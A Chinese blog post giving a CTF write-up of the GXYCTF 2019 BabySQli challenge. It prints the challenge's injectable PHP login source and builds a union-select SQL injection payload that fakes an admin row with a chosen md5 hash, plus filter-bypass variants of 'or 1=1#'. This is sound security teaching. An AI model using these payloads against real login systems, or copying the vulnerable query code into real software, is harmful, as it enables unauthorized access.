Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

    • Pikachu靶场
    • SUCTF 2019 CheckIn
    • GXYCTF 2019 BabySQli
      • 题目分析
      • 思路整理
      • 联合查询语句特性
      • Payload
    • GYCTF 2020 Blacklist
    • RoarCTF 2019 Easy Java
    • CISCN 2019 初赛 Love
    • 0CTF 2016 piapiapia
  • PWN

  • 笔记
  • Web
Zephyr
2022-07-15
目录

GXYCTF 2019 BabySQli

# GXYCTF 2019 BabySQli

# 题目分析

首先看一下题目,很普通的一个登录页面:

GXYCTF_2019_BabySQli1

随便输入点什么后,发现跳转的search.php页面源码中有注释字符

GXYCTF_2019_BabySQli2

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
1

大写的字母和数字很明显是base32,先用base32解码一下

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
1

还有一层base64,继续解码得到SQL语句

select * from user where username = '$name'
1

很明显注入点在username上

尝试输入admin、password进行登录,提示wrong pass

GXYCTF_2019_BabySQli3

接着尝试输入root、root进行登录,提示wrong user,

GXYCTF_2019_BabySQli4

两者对比说明admin这个账户是存在的

尝试admin' or 1=1#万能密码登录

GXYCTF_2019_BabySQli5

被过滤了,换个变种admin' Or 2>1#尝试绕过,依然提示wrong pass

GXYCTF_2019_BabySQli6

万能密码绕不过,猜测用户名和密码是分开验证的,试了好一会儿没试出来,选择查看源码,buu给了源码地址,具体源码如下:

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
 
// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }
 
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
 
if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        $arr = mysqli_fetch_row($result);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}
 
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

对密码验证的逻辑如下:

$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
    if(md5($password) == $arr[2]){
        echo $flag;
    }
    else{
        die("wrong pass!");
    }
}
else{
    die("wrong user!");
1
2
3
4
5
6
7
8
9
10
11

这里的逻辑是对我们提交的password进行md5加密后与数据库返回的密码进行比较,所以可以推出数据库内password在存储前也经过了md5加密

# 思路整理

  • username处存在注入点
  • 存在admin账户
  • 提交的password经过md5加密后会与后端返回的password进行校验
  • 依然还是不知道password是多少

似乎陷入了一个死结,不知道密码就无法登录,但这里联合查询语句的一个特性可以帮助解题

# 联合查询语句特性

  • union select会把查询结果接在前一个查询结果后面,前面如果查到了东西,那么取得是两个查询的结果,如果前一个查询为空,返回后一个查询结果例子如下:

GXYCTF_2019_BabySQli7

这样我们就可以让前一个查询为空,然后拼接我们想要的结果的联合查询语句,来实现我们想要的任意SQL查询的返回的结果

tips:联合查询字段数必须一致

回到本题,那么就应该获取字段数了,过滤了or用Or绕过,确实字段数为3

GXYCTF_2019_BabySQli8

因为源码中$arr[1] == "admin"这一句确定了username在第二个字段,那么password不是第一个字段就是第三个字段了,这里盲猜第三个

# Payload

所以构造Payload如下:

name=' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'#&pw=password
1

即可获得flag

GXYCTF_2019_BabySQli9

#buuctf#web#SQLInject
上次更新: 2022/09/25, 13:38:30
SUCTF 2019 CheckIn
GYCTF 2020 Blacklist

← SUCTF 2019 CheckIn GYCTF 2020 Blacklist→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×